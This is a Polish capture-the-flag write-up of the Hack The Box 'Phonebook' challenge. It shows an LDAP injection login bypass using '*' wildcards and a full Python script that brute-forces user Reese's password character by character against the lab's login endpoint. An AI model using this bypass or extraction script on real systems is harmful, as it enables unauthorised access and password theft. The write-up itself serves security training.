LDAP injection w książce telefonicznej. Phonebook – Hack The Box

Who is lucky enough to be included in the phonebook?

Po wejściu na stronę główną, widzimy prosty formularz logowania i informację o updacie.

New (9.8.2020): You can now login using the workstation username and password! – Reese

Ok, dostajemy z niego nick jednego z użytkowników. 

Po sprawdzeniu kodu strony, widzimy link pobierający style. Próbujemy wejść w folder początkowy z linku.

Mamy możliwość wyszukiwania, która nie działa. Po każdej próbie otrzymujemy status 403, co oznacza dla nas, że musimy być autoryzowani, aby skorzystać z funkcjonalności. Wracamy więc na stronę logowania.

Po kilku próbach logowania zauważamy, że jesteśmy w stanie uzyskać autoryzację, wpisując w oba pola ‘*’. Oznacza to dla nas, że mamy do czynienia z podatnością LDAP. Polega ona na wykorzystaniu przez osobę nieuprawnioną dostępu do bazy danych w aplikacji wykorzystującej protokół LDAP. Często, ze względu na sposób przeprowadzania ataków, mylona jest z SQL Injection.

Po zalogowaniu wyszukiwarka działa, ale dalej nie znaleźliśmy flagi, na której nam zależy.

W niektórych przypadkach możliwe jest, aby za pomocą ataku LDAP wykraść hasło i login użytkownika. Z początkowej strony wiemy, że jedna z nazw użytkowników to Reese. Wpisując jego nick, a w miejscu hasła gwiazdkę, zostajemy zalogowani, co potwierdza poprawność loginu.

Teraz pozostaje kwestia “odgadnięcia” hasła. Pomoże nam w tym napisany przez nas pseudo skrypt w pythonie. Dodaje on kolejne znaki do hasła, a w momencie braku możliwych kombinacji, podaje odkryte hasło.

import requests
from lxml import html

with requests.Session() as session:

    #landing page url
    url = "http://165.22.124.155:32367/login"

    #declare password
    password = ""

    while True:
        #possible characters
        characters = "0123456789aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ!@#$%^&:<>/|}_{[]"

        #iterate through possible characters
        for character in characters:

            #POST request with our code
            request = session.post(
                url = url,
                data = {'username': "Reese", 'password': password + character + "*"}
                )

            #remove used character
            characters = characters.replace(character, '')

            #check if request is invalid
            if request.url != "http://165.22.124.155:32367/login?message=Authentication%20failed":
                password += character
                break

        #break while loop if we checked all characters
        if len(characters) == 0:
            break

    print(password)

Takim sposobem uzyskujemy hasło, które jest jednocześnie naszą flagą.

Źródła

https://owasp.org/www-community/attacks/LDAP_Injection
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.